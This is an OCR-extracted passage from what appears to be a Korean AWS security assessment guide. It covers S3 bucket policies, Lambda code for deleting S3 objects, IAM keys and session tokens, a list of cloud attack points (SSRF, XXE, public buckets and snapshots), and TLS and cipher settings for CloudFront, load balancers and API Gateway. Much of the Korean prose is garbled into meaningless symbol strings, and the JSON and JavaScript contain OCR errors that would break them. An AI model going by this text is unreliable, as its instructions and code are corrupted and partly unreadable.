"s3:GetObject",
"s3:GetBucketlLocation",
"s3:ListBucket”
I}
"Resource”:[
"arn:aws:s3::awsexamplebucketl"
H kLA ]
}
]
}
ZK| WOR2. lambda £AFC FEH Al IY U SCO| M3 MYFI|} O|ROXK
= 8% orgfet 22 MM HaEE 0|8
Lambda o= It AFK| OfA|
S3.deleteObject(
{

Bucket:"Your S3",
Key: Key
3
(errdata)=>{
if(err){
throw err,

}

console.log(data);
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Lambda et S AX OfAl
let params = {

Bucket: "Your S3",

Prefix: "KEY"

async function deleteFolder(params){

const listedObjects = await s3.listObjectsV2(params).promise();

const deleteParams = {
Bucket: params.Bucket,
Delete: {Object: []}

by

listedObjects.Contents.forEach(({Key})=>{
deleteParams.Delete.Objects.push({Key});

i

await s3.deleteObjects(deleteParams).promise();

a
© 2YNo| e FRFEI TYE NS BT Publc MF' ¥S =ovtolS

o

= EX 310 X H| 21

Amazon S3 Lambda &4 ZE EA

1 AWS (https://docs.aws.amazon.com/ko_kr/lambda/latest/dg/with-s3-example-
deployment-pkg.html)

Amazon S39| ¥A Sl At
2 AWS (https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/access-

policy-language-overview.html)
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6.1. 229E ASHR

6.1.1. AWS IAM(Identity and Access Management)
AWS IAM2 AWS 2|20 CHet HMAE HOfE = A= MHIAYLICH IAME ARSI 2[aA8 AMESHE

£ oE & Aok ROE tids Mojg ot

O MA 7|(ACCESS KEY)

IAM AEAH = AWS AF RE AEXO| gt XtA STYLILL  HM2 J|E AHESIO AWS CL E&
AWS APIOj| Ciel =224y 2o MEL &= AFLCL BH2 Fl= HM L 7| ID(AWS_ACCESS_KEY)2t H ot
WA A 7|(AWS_SECRET_KEY)2 TAIE L|C}.

Q IAM 2A] HOI XA Z=H(SESSION TOKEN)
AWS Security Token Service(AWS STS)E AIE3IH AWS Z|AA0 CHet WMHAE XY = U= AUAA| ot
A FHS 495ty MEe MEXA M3SY = US

&5

SHI IAM AFBAITF AFBE £ 9= &7 AN 7| Rt

02
=
M
10
o
o
rot
ot
W

6.1.2. 22}2CE CI=ZX™H ZE Hioh
Q £t Est ok &=

Lambda: B AtO|E 2K 2= (SSRF)
Lambda: 2 EA| X FHHH

Lambda: XML Q£ 24| 2 Z(XXE)

S3: 2Z Q3 Public ™

O AWS QIZ¥E =& ZF=2
He =

E Y =X &2 (A3E)

fot

1]

S o2 OA|X| (access denied I3

OH
0o

EBS AHAF (EC2 -> Snapshots -> Public Snapshots)

OH
0o

AMIs (EC2 -> AMIs -> Public images)
RDS &8 AWMAF (RDS -> Snapshots -> All Public Snapshots)

ARl LNl d (BtERYE B F2YE & AHUA o o= HE Al =F 3)
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6.2. 2ALE AZWE TG W
6.2.1. Al £
=18 LH &

g =F0|0f, o] AWS MH|AE HHZO|M KXot

AWS CLI

SeteC S3t MW T JE Veyol DEOR HEY AZYEE HYR FAN 3F sy, US

2 = =
tset Lo o5 L5t 20| AWSCU =15 S3f dEE T H

O M 7| ASHE S2(ACCESS_KEY_ID, SECRET_ACCES_KEY)

O QA =ob X4 ] I5™E SE(AWS  ACCESS KEY_ID, AWS  SECRET_ACCESS_KEY,
AWS_SESSION_TOKEN)

3JIpZ21uX2VjECcalX 3QtMSIIMEYCIQC3LPLzeme <FAKReRxSGhI3 JYLLRS5+ef4AThA

mbLgEWWHYCE1rrLJuSMpgYs sM5 yvsRggKE4k+ARe9qsuC3

0 AEyE Y= 27

AWS CLIOJA HZsHe CHsh As|A Th4Dt 2 HE43 8 X8 BHO|(get, ist)S BRYLICL AFH:

4 S8 E Al WY, (HyOl C+E & ¢ %

Hl20IA RIBSHs 7]5(s3, DynamoDB Z3| 5)2 ANo0l HEE AHG FHc: WAoR FIFULL
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Reset Password

When Maximum 4

allowed attempts
is Breached

Store/Retrieve

2 Login Attempts count
3
Pre-Authentication
Trigger

Login Attempts
Cognito DynamoDB Table

User Pool
6 4|
5
Reset Login
Attempts Count

Post-Authentication
Trigger

The architecture of the Password reset workflow

https://medium.com/tensult/aws-cognito-user-pool-advanced-security-features-
526a736a0199
https://www.pentagrid.ch/en/blog/password-reset-code-brute-force-vulnerability-in-
AWS-Cognito/
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[SSL Certificate H&]
1. Cloud Front

https://aws.amazon.com/ko/premiumsupport/knowledge-center/cloudfront-https-
requests-s3/

AWS 220 A CloudFront MH|AZ 0|53t
¥ CloudFront0]] S&3}7| ¢|$t 9IS M< HX|L|OHus-east-1)0| A B2 E QIS MTF AR 7}
Q cloudfrond

cloudfront’ &

MH|A

[CloudFront Distributions]-[Create Distribution]-[Get Started]-[Step 2: Create distribution]
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Of M 'Origin Domain Name'1lt ‘Viewer Protocol Policy’ A3t
Create Distribution
Origin Settings

Origin Domain Name [c\oud-front kr 53-web5ite—eu-wesl-']

Origin Path

JYes

Enable Origin Shield O
@ No

Origin ID | s3-cloud-front. kr

Oves

Restrict Bucket Access
@ No

e @2 @ @ @ @

Origin Connection Attempts 3

Origin Connection Timeout  {p (i ]

Origin Custom Headers Header Name Value i)

Default Cache Behavior Settings

Path Pattern  Default (%) (i)

Viewer Protocol Policy |C'HTTP and HTTPS (i ]
@ Redirect HTTP to HTTPS
COHTTPS Only

Allowed HTTP Methods @ GET, HEAD (i)
(O GET, HEAD, OPTIONS
(O GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE

‘Alternate Domain Names'®?} 'SSL Certificate’ A ™d g

Distribution Settings

Price Class | |se All Edge Locations (Best Performance) w o

AWS WAF Web ACL | None + o

Alternate Domain Names |cloud-front. kr (i)
(CNAMES)

SSL Certificate (O Default CloudFront Certificate (* cloudfront. net)

Choose this option if you want your users to use HTTPS or HTTF to acceq
hitps:/id111111abcdefs. cloudfront. netllogo.jpg).
Important: If you choose this option, CloudFront requires that browsers or

@® Custom SSL Certificate (example.com):

Choose this option if you want your users to access your content by using
You can use a cerlificate stored in AWS Certificate Manager (ACM) in the
(N. Virginia) Region, or you can use a certificate stored in 1AM

cloud-front. _kr (003c1959-d391-43d: o

Request or Import a Certificate with ACM

Learn more about using custom SSL/TLS certificates with CloudFront.
Learn more about using ACM.

M™0| b2 5™ Deploydt0] EnabledE AMEf 25}

96



ge19c 28

I?DI-

HE(AWS)

EQAST

Experts, Qualified Security Team

CloudFront Distributions

Create Distribution

Viewing 1| Any Delivery Method Any State v
DEIIVQI’V Method D Domain Name Comment Ul'lﬂin CNAMEs Status State
a GWEU EGFAW d19661ezl1zps2 cloudfront.net cloud-front. krs: cloud-front.e kr Deployed Enablec
o .
[Route 53]-[EAE AA-[AH™ = Q-[ZE MMM CloudFront2| Domain Name
o C = = N 5o
S CNAME HZE0| 27} £ AfO|E SSL X2 =0l
Route 53 =AE EE kr GEE2EC]
W2 HI=E L e opgME M | e yac Ft
v 35 A
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#5%& )"+, -/ r@l A
=] 1S UETLICH
TTL(ZE) Info 222 EH Info
300 cheeted v
IR
1 60~172,800(2 )
Ha HAac By

2. Application Load Balancer

https://aws.amazon.com/ko/premiumsupport/knowledge-center/elb-redirect-http-to-

https-using-alb/

AWS Z£0|M EC2 MHIAZ 0|58t
X LoadBalancer0| S&317| 23t 2IZM=
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(%1 docs.aws.amazon.com/ko_kr/elasticloadbalancing/latest/application/create-https-listener.html)

< R ENE] mysfits-nlb | TLS:443
el E =AU HEELCE I 2|20 2(=) Shte] BT §E EYs =#6|of Uk [ © M3EENM22LE SFE x
ARN
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0| 2|47} Ei =3k BHE = A
& 1. Cheo.= HE: MythicalMysfits-TargetGroup 1

=0T
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3. API Gateway
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B2

* AWS Amplifye A & zAES X[&g

—

* Elastic Beanstalk= HTTP-HTTPS Z|Cjo|2IM S X| &gt
https://docs.aws.amazon.com/ko-kr/elasticbeanstalk/latest/dg/configuring -https.html

*ALB % ECS&= HTTP HTTPS Z2EZ

Meo] THs3

https://aws.amazon.com/kr/premiumsupport/knowledge-center/elb-redirect-http-to-

using-alb/
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BT A ZE 222 HE F: MythicalMysfits-TargetGroup
v =C 2HY
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ShctH C HH 2 Aldo OlI™MAHS MXS
SiE EEYMEAM 2|Al{o] HotgMs dEe
None
HTTP10Only
HTTP2Only
HTTP2Optional
HTTP2Preferred
€  alpnTisTargetGroupWarningHeader
alpnTIsTargetGroup\WarningMessage
# 1. Ch5 2 2 HE: MythicalMysfits- TargetGroup i}
=oF P
ELBSecurityPolicy-FS-1-2-Res-2020-10 - o
712 SSL2IEM
ACM (2E) - cloud-elb kr - 838cTe5c-9864-426d-bd21-e3ca782b07a8 + O

M&ots EoHEM & X|RE[= SSU/TLS ZEEE
FSt X9l Zxat FS X| QISR s TLS 2o YMoz JEE US
Rt = 8 2 ® i 8
] ﬁ @ o @ ©
7] = —_ — —
8 8§ &8 8’8 § R
0w i) td - cﬁj
L] i i
o o o " .
o o &0 &
i &
TIS=EZEE
Protocol-TLSw1 o o
Protocol-TLSw1.1 W W x
Protocol-TLSv1.2 W i S “ W +

X £ URL

https://docs.aws.amazon.com/ko_kr/elasticloadbalancing/latest/application/create-https-listener.html

1 FS(Forward Secrecy) : 32 X}7F 220/ E-A
A= ES s s o g sS4 F
2 9zt 4FY
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O Cloud Front
[CloudFront]-[CloudFront Distributions]Of| A & A™0| ZQ3t MH|A ID MEH

‘ How to accelerate your dynamic content with Amazon EC2 as an origin. Learn more

Important: On March 23, 2021. CloudFront will begin migrating the Certificate Authority for the ~.cloudfront.net certificate. For more information, refer to the AWS Knowledge Center.

CloudFront Distributions

Create Distribution

Viewing Any Delivery Method Any State v

Delivery Method D Domain Name Comment Origin CNAMEs Status State A
O  @web cloudfrontnet - cloug-front krs3-  cloud-front Kr Deployed Enabled
0O @web E39DDJABZILTB6 - - Deployed Enabled

[CloudFront Distributions]-[AH| A ID]-[General]-[Edit]0{| A] ‘Security Policy’ &7

Edit Distribution
Distribution Settings

Price Class Use All Edge Locations (Best Performance) ~ (i}
AWS WAF Web ACL | pone « Li ]
Alternate Domain Names | cloud-front kr (i ]
(CNAMEs) P
SSL Certificate O Default CloudFront Certificate (*.cloudfront net)

Choose this option if you want your users to use HTTPS or HTTP to access your content with the CloudFront domain name (such as
hitps_#fd111111abcdef3.cloudirontnetlogo jpg).
Important: If you choose this option, CloudFront requires that browsers or devices support TLSv1 or later to access your confent.

Custom SSL Certificate (example.com):

Choose this option if you want your users to access your content by using an aternate domain name, such as https:/fwww example.com/logo jpg.
You can use a certificate siored in AWS Cerfificate Manager (ACM) in the US East
(M. Virginia) Region, or you can use a certificate stored in 1AM

=] _kr (699d4adc-f137-4627-aacd-55 i)
Request or Import a Certificate with ACM

Leam more about using custom SSL/TLS certificates with CloudFront.
Leam more about using ACM.

Custom SSL Client Support Clients that Suppert Server Name Indication (SNI) - (Recommended)

CloudFront serves your content over HTTPS to clients that support SMI. SNI is supporied by browsers and clients released after 2010. There is no

additional charge for this option
Leam More

O Legacy Clients Support (5600/month prorated charge applies. Learn about pricing)

CloudFront allocates dedicated IP addresses ai each CloudFront edge location to serve your content over HTTPS
Leam Mare

Security Policy (i)

TLSw1 2:2019 (recommended)

See the list of profocels and ciphers that CloudFront uses for each security policy.

Supported HTTP Versions HTTP/2, HTTP/1.1, HTTP/1.0 [i]

OHTTPA, HTTP/1.0

Maote 2oH8H & X[@El= SSUTLS Z2EF

oty
S5Lv3 TLSv1 TLSv1_2016 TLSv1.1_2016 TLSv1.2_2018 TLSv1.2_2019

X HElESSL/TIS EEES

TLSv1.37 + + + + + +

TLsv1.2 + + + + + +

TLSv1.1 + + + +

TLSv1 + + +

S5Lv3 +

X £1 URL

https://docs.aws.amazon.com/ko_kr/AmazonCloudFront/latest/DeveloperGuide/secure-connections-supported-
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viewer-protocols-ciphers.html#secure-connections-supported-ciphers

Q API Gateway

[API Gatewayl]-[AtEAL X =M@l O|F]-[=HQ MEH]-[=HQ MEF FE]-[HEINAM
XA TS HAE AH

EHY MEEE HE

ool 4E e

ZHalg
AMERXE SHT OS2 APIMSRH HEE 4 2k M2 Tt DHEY URLELID
-gatew
e TLS BT
TLSIEE H & 20hE S0 At MY 240 T4 F0 GO/ ES BSgLCh ES HATLS HH2 SA0|ASTLAPIOM ALRE + RE 2= 18 S FHRLICL XM5 20127 [

O TS 1.2(FF)
TLS 1.0(REST APIZH | )

mH

SELICE XS] LoreT| [

Mash=s HQtMM B X|Qf|= SSYTLS Z2ES
(API Gatewayo| = ZOIE Q0| Me} X|= HAO| CtE22 #1150 XHE)

1) edge-optimized API endpoints

TLS-1-0 TLS-1-2

X|#HE|E ssL/TLS ZEEEE

TLS5w1.3 + +
TLSv1.2 + +
TLSv1.1 +
TLSV1 +

2) regional, private, and WebSocket API endpoints

2o TLS-1-0 TLS-1-2
TISEEEE
Protocol-TLSw1 +
Protocol-TLSv1.1 +
Protocol-TLSv1.2 +* +

X &1 URL

https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/apigateway-custom-domain-tls-
version.html

104



EQAST

Experts, Qualified Security Team

g L
s20 ot HTTPS @& Y 13|E 0|8
HORYEIL U S YNIF AR Al LTt He YNBES AR AP ¥
g2 8y = E4 80| 92 St 59 9ol EXjgto] mal, °s YnzFe| HoH ol
MEM OHE B HAH
sopec £ -

5 Obry

F|OFst HTTPS Z2E 2 0|8’ $20o| SSL/TLS A M wein Sus
[2obHM ¥ X|UEs %3]

kH
O Load Balancer

FS X9 FH1} FS XSt Qs TLS ot Moz JEE0 /UG

=2 B4 s ¢ 8 8 28 8
5 = e - e -
s 8§ 8§ g § 8

¢ ¢ 2 &

TS &=

ECDHE-ECDSA-AES128-GCM-SHA256 v v v

ECDHE-RSA-AES128-GCM-SHA256 N4 v Ny

ECDHE-ECDSA-AES128-SHAZ56 Ny N v

ECDHE-RSA-AES128-SHA256 v v v

ECDHE-ECDSA-AES128-SHA v vy

ECDHE-RSA-AES128-SHA v v

ECDHE-ECDSA-AES256-GCM-SHAZ84 vy v v

ECDHE-RSA-AES256-GCM-SHA384 < v vy

ECDHE-ECDSA-AES256-SHA3R4 v v v

ECDHE-RSA-AES256-SHAZE4 Ny N v

ECDHE-RSA-AES256-SHA NG v

ECDHE-ECDSA-AES256-SHA v v

AES12B-GCM-SHAZ256

AES128-SHA256

AES128-5HA

AES256-GCM-SHAZE4

AES256-SHAZ256

AES256-5HA

X &1 URL

https://docs.aws.amazon.com/ko_kr/elasticloadbalancing/latest/application/create-https-listenerhtml
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d Cloud Front

CLEL)
S5Lv3 TLSv1 TLSv1_2016 TLSv1.1_2016 TLSv1.2_2018 TLSv1.2_2019
NEECET
TLS_AES_128_GCM_SHA256 + + + + + +
TLS_AES_256_GCM_SHA3ZE4 + + + + + +
TLS_CHACHAZ20_POLY1305_SHAZ256 + + + + + +
ECDHE-RSA-AEST128-GCM-SHAZ56 + + + + + +
ECDHE-RSA-AES128-SHA256 + + + + + +
ECDHE-RSA-AES128-SHA + + + +
ECDHE-RSA-AES256-GCM-SHA384 + + + + + +
ECDHE-RSA-CHACHA20-POLY 1305 + + + + + +
ECDHE-RSA-AES256-SHA384 + + + + + +
ECDHE-RSA-AES256-SHA + + + +
AES12B-GCM-5HAZ56 + + + + +
AES256-GCM-5HAZB4 + + + + +
AEST128-5HAZ56 + + + + +
AES256-5HA + + + +
AES128-5HA + + + +
DES-CBC3-SHA + +
RC4-MD5 +
X &1 URL

https://docs.aws.amazon.com/ko_kr/AmazonCloudFront/latest/DeveloperGuide/secure-connections-supported-

viewer-protocols-ciphers.html#secure-connections-supported-ciphers

4 API Gateway
API GatewayQ| YE ZOIE QA0 e} X|E|= YS7F Ct2az st M2

1) edge-optimized API endpoints

TLS-1-0 | TLS-1-2
Ciphers supported
ECDHE-R5A-AES128-GCM-5HAZ256 + +
ECDHE-RSA-AES12B-5HAZ256 + +
ECDHE-RSA-AES128-SHA +
ECDHE-R5A-AES256-GCM-5HAZE4 + *
ECDHE-RSA-AES256-5HA3E4 + +
ECDHE-R5A-AES256-5HA +
AES128-GCM-SHAZ56 + +
AES256-GCM-5HAZE4 + +
AEST28-5HAZSE + +
AES256-5HA +
AEST28-5HA +
DES-CBC3-SHA +
RC4-MD5

2) regional, private, and WebSocket API endpoints
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BOF g TLS-1-0 TLS-1-2
TLs ¥=
ECDHE-ECDSA-AES128-GCM-SHAZ256 + *
ECDHE-R5A-AEST28-GCM-5HA256 +* .
ECDHE-ECDSA-AES128-5HAZ56 * *
ECDHE-RSA-AEST28-5HA256 * *
ECDHE-ECDSA-AES128-SHA *
ECDHE-RSA-AEST28-5HA *
ECDHE-ECDSA-AES256-GCM-SHASE4 * *
ECDHE-RSA-AES256-GCM-5HA3E4 * *
ECDHE-ECDSA-AES256-5HAZE4S . *
ECDHE-RSA-AES256-5HA3E4 - .
ECDHE-RSA-AES256-SHA +
ECDHE-ECDSA-AES256-SHA +
AES128-GCM-SHA256 . .
AES128-5HA256 - .
AES128-5HA +
AES256-GCM-SHA3B4 * *
AES256-5HA256 . +
AES256-5HA .
DES-CBC3-5HA *

X &7 URL

https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/apigateway-custom-domain-tls-

version.html
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7.5. | oFsk HTTPS X|&iAt 6|8
TE e
o=l Z| kSt HTTPS XA 5|8
o1 o A2 otEl SULHEO L=EE 50l EXsts  Fofeh HAol HTTPS M
(Renegotiation)S 3| & {£E HHSt= F 4

5 Obry

1. Cloud Front
HTTPS XfEAtS X| 23}

Rl
iQ
dlo

2. Load Balancer
Load Balancer S& 0| 2} HTTPS A AS X| & O{E7} CI=MH, HTTPS XEAS X[ &
Sl= Load Balancer?| AL HOQF HTTPS MaA AR = Vs H|=ZH43) SfofE.

=

Application Load Balancer : HTTPS X34 X|ASHA| %3
Network Load Balancer : HTTPS & &2 X|9£J6}I| %S,
Classic Load Balancer : &9t HTTPS Xj
Load BalancerZ 0O}0|Z12{0[|M 3ljOF%t.

0

|19t
ru|o
Ral
o
Of
=

Hiztda 29 Al Application

=
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REST/HTTP APl AEZQIE M4 Al
POST, PUT)Z M7X35l0] APIS AfH|A

mOI-

E—’.-f— HTTP O A =(DELETE, GET, HEAD, PATCH,

HORCH =Y

[AWS API Gateway]

AWS API Gateway= REST/HTTP A
ZUHE R BEo JAY = UR
9 7Is& 2

AWS Z&0|M API Gateway AH|AZ O|F

Q, api gateway|

e A1u|¢. it ofl =

=
—
20 ME3st7| flet AEZRES NI

EOO

AR M

HAlL SX
HTTP Lambda
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[API] - [2|AA]O|M HTTP BIME QI
API JELESS e~ ®/api- ANY - H A & Al
ASK XY ENQIOE | v HAME g
v [lapi HAE -
VPC 23 ,! 215 els
OPTIONS ARN: amn:3
» /headparam 278936961
» /=qli
API: shop
| laAr
]
BN gﬂ
AP LR} r
_ m oA S S
HOIEQ0l 8&
oo HTTP 4l
B appli
gjAA HA
E£3M
(ZHe] - [HME AH1E S 2282 HAMES AX(ANY)
API L ESS e~ ®/api- ANY - A E AlSl
A= =Y
MBAAE =HeoE NS BT EBA HAME 2 .
~ /api —
VPG 212 S | olE: gia
OFTIONS 3 s mp ARN: armn.aws.execute-api.ap-
+ /headparam AT northeast-
GET - 2:789369620244:0i305lyh00//*/api
API: shop OPTIONS EE=ES= S
- /sqli CORS 24t
| 212 OPTIONS =
Bl HE EEA
2E{OZ] M P
GET

(Ze] - [HME 4812

228l0) 7|E HME(ANY)Z M2 HACS(GENSZ mA.

API
AMEAFAE 02l 0| &

VvPC &3

API: shop
| 2l&A
AE|O|R|
Az

=

S0t

HOIEHO S&

o | g/api HAE

2| A
2l =y
-
HM= 4
v [api

OPTIONS = EZOIE
; = Al S
» /headparam CORS &St U
GET Ar~wT YN | B 5
5] o
OPTIONS 2|2 A A APIZI £2
* /sqli
OPTIONS | apyare
~ Hquery+}  apiuj=
GET API7HR 27|
OPTIONS ~
APIEE HEAM

AP &1
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HME S M8 FOoA [GET] &

AP| | =l - ./api |:I-”A‘IE
L]
AMERFRE ZO02 0|2 -/
S = os . © OPTIONS
~ [api
VEC 213 OPTIONS Mock YEZQIE
v
./ ﬂ so s
ANY API7| E£EE2
DELETE
API: shop GET
v [{HEAD
| Bl PATCH
POST
AE|O|X] Yeur [
GET
st SO RF OPTIONS
Ho|EQ0| &

(X1 &] - [API BiZZ]E Sl AMH[A Sl API GatewayOf| B ZAter HHY.

o

AP , Ean =xe. | @/headparam O A
ASRRF =oelolg | v R
. oA S |
VPC 23 ’ -Iiilr FlEses
OPTIONS CORS 245} sol o=
» [headparam 2|4~ HE A0 - éép_
API: shop P H
| 2|4 A AP| Zo
API HIZ
AHO1A] API7tH 27
U 2R} APIEHT HYA
AP| A
“ AHS AFBE7| 2AoH REST APL Y DELETE HAEE ALSZ & g
(https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/RESTAPLhtml)
foBMEN Hg B WS 4FY WHOE ST & US
H| T * S3 ISt ME o SAES XSt DELETE MALTF E ZAQ Z|aA AX 7} 7}

—

o
o

*oor

OPTIONS O E& CORS Preflight SHC 2 ALEEl= ZS2 OPTIONS HAME KpEt

Al MBS Foj7p 2rde &= g
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